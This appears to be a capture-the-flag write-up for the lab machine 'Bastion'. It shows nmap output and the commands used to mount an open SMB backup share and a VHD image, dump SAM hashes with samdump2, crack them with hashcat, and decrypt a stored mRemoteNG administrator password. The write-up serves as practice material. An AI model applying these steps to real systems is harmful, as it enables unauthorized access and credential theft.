To solve this machine, we enumerate services using nmap. Enumerating SMB shares, we see there is a
Backups share that we are able to mount to our local machine. On the share, there are 2 virtual hard drives. Mounting the larger one, we are able to retrieve the
SAM hives. With these, we are able to recover accounts and password hashes. After cracking the password of the
L4mpje user, we are able to SSH into the machine and obtain
user.txt. Looking at installed programs, we see
mRemoteNG is installed. We are able to exploit a vulnerability in the encryption mechanism using a known key value to decrypt the administrator password. Using the password, we are able to a SSH into the machine as
administrator and get
Like all machines, we begin by enumerating all open ports using nmap, then ran nmap scripts against them:
nmap -p- --min-rate 4000 10.10.10.134 nmap -A -oA scans/nmap-tcp -p 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.134 Nmap scan report for 10.10.10.134 Host is up (0.069s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -51m26s, deviation: 1h09m14s, median: -11m28s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Bastion | NetBIOS computer name: BASTION\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2019-06-21T23:51:28+02:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-06-21 16:51:25 |_ start_date: 2019-06-21 16:02:38 TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 1 66.59 ms 10.10.14.1 2 66.68 ms 10.10.10.134 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 21 17:03:02 2019 -- 1 IP address (1 host up) scanned in 90.07 seconds
From our scan results, we see that ports
47001 are hosting web servers, so we tried enumerating them with nikto and gobuster, however, we were unsuccessful. Next, we saw SMB was running on port
445, so we attempt to list all shares.
smbclient -L ////10.10.10.134//
Seeing there is a
Backups share, we mount it to our system, so we can look through it
mount //10.10.10.134/Backups SMBShare/
Once the share is mounted, we can run tree to get a hierarchical look at the files in this share:
We see two virtual hard disks (.vhd extension), so we mount the larger disk (as it is more likely to have usable information).
qemu-nbd --read-only -c /dev/nbd0 'SMBShare/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd' mount /dev/nbd0p1 HDD/
Since this mounted disk appears to be a Windows hard drive, we should be able to retrieve the SAM and SYSTEM hives to recover account names and hashes using samdump2.
find HDD/Windows/ -name *SYSTEM* & find HDD/Windows/ -name *SAM* samdump2 SYSTEM SAM
Taking the NTLM hash for
L4mpje and using hashcat to crack it using the
rockyou.txt wordlist, we are able to recover the user’s password. Using these credentials, we are able to ssh into the machine as
l4mpje, and retrieve
Doing initial recon on the machine, we see there is a program named
mRemoteNG. Researching this application, we see there is a vulnerability in the encryption key being a known value. To exploit this vulnerability we will need to get the encrypted password for the
Administrator user in
Supplying the encrypted password to a decryption script we found on github, we are able to recover the password for
Administrator, and SSH into the machine. Doing so allows us to get
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!